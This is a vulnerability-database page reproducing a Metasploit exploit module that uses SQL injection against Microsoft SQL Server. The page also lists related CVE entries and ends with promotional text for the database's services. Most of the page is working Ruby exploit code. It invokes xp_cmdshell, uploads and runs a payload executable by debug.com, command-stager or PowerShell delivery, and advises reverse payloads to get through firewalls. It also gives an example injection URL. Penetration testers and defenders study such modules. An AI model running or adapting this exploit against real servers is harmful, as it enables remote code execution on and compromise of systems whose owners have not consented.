Microsoft SQL Server Payload Execution via SQL Injection
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| CVE-2000-1209 | 12 Aug 200204:00 | – | attackerkb | |
| CVE-2000-0402 | 30 May 200004:00 | – | attackerkb | |
| CVE-2000-0402 | 21 Dec 201000:00 | – | circl | |
| CVE-2000-1209 | 21 Dec 201000:00 | – | circl | |
| MS-SQL Server Protocol - General Settings (CAN-2000-1209; CVE-2002-1123) | 1 Feb 200500:00 | – | checkpoint_advisories | |
| CVE-2000-0402 | 12 Jul 200004:00 | – | cve | |
| CVE-2000-1209 | 10 Aug 200204:00 | – | cve | |
| CVE-2000-0402 | 12 Jul 200004:00 | – | cvelist | |
| CVE-2000-1209 | 10 Aug 200204:00 | – | cvelist | |
| Microsoft SQL Server - Payload Execution (via SQL Injection) (Metasploit) | 8 Feb 201100:00 | – | exploitdb |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution via SQL Injection',
'Description' => %q{
This module will execute an arbitrary payload on a Microsoft SQL
Server, using a SQL injection vulnerability.
Once a vulnerability is identified this module
will use xp_cmdshell to upload and execute Metasploit payloads.
It is necessary to specify the exact point where the SQL injection
vulnerability happens. For example, given the following injection:
http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical
you would need to set the following path:
set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar
In regard to the payload, unless there is a closed port in the web server,
you dont want to use any "bind" payload, specially on port 80, as you will
stop reaching the vulnerable web server host. You want a "reverse" payload, probably to
your port 80 or to any other outbound port allowed on the firewall.
For privileged ports execute Metasploit msfconsole as root.
Currently, three delivery methods are supported.
First, the original method uses Windows 'debug.com'. File size restrictions are
avoided by incorporating the debug bypass method presented by SecureStat at
Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.
A second method takes advantage of the Command Stager subsystem. This allows using
various techniques, such as using a TFTP server, to send the executable. By default
the Command Stager uses 'wcsript.exe' to generate the executable on the target.
Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
payload on the target.
NOTE: This module will leave a payload executable on the target system when the
attack is finished.
},
'Author' =>
[
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
'jduck', # command stager mods
'Rodrigo Marcos' # SQL injection mods
],
'License' => MSF_LICENSE,
'References' =>
[
# 'sa' password in logs
[ 'CVE', '2000-0402' ],
[ 'OSVDB', '557' ],
[ 'BID', '1281' ],
# blank default 'sa' password
[ 'CVE', '2000-1209' ],
[ 'OSVDB', '15757' ],
[ 'BID', '4797' ],
# code and comments
[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Payload' =>
{
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'CmdStagerFlavor' => 'vbs',
'DefaultTarget' => 0,
'DisclosureDate' => '2000-05-30'
))
register_options(
[
OptEnum.new('DELIVERY', [true, 'Payload delivery method', 'OLD', ['PS', 'CMD', 'OLD']])
])
end
# This is method required for the CmdStager to work...
def execute_command(cmd, opts)
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end
def exploit
method = datastore['DELIVERY'].downcase
if (method =~ /^cmd/)
execute_cmdstager({ :linemax => 1500, :nodelete => true })
#execute_cmdstager({ :linemax => 1500 })
else
# Generate the EXE, this is the same no matter what delivery mechanism we use
exe = generate_payload_exe
# Use powershell method for payload delivery if specified
if (method =~ /^ps/) or (method =~ /^power/)
powershell_upload_exec(exe)
else
# Otherwise, fall back to the old way..
mssql_upload_exec(exe, datastore['VERBOSE'])
end
end
print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")
select(nil,nil,nil,50)
handler
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation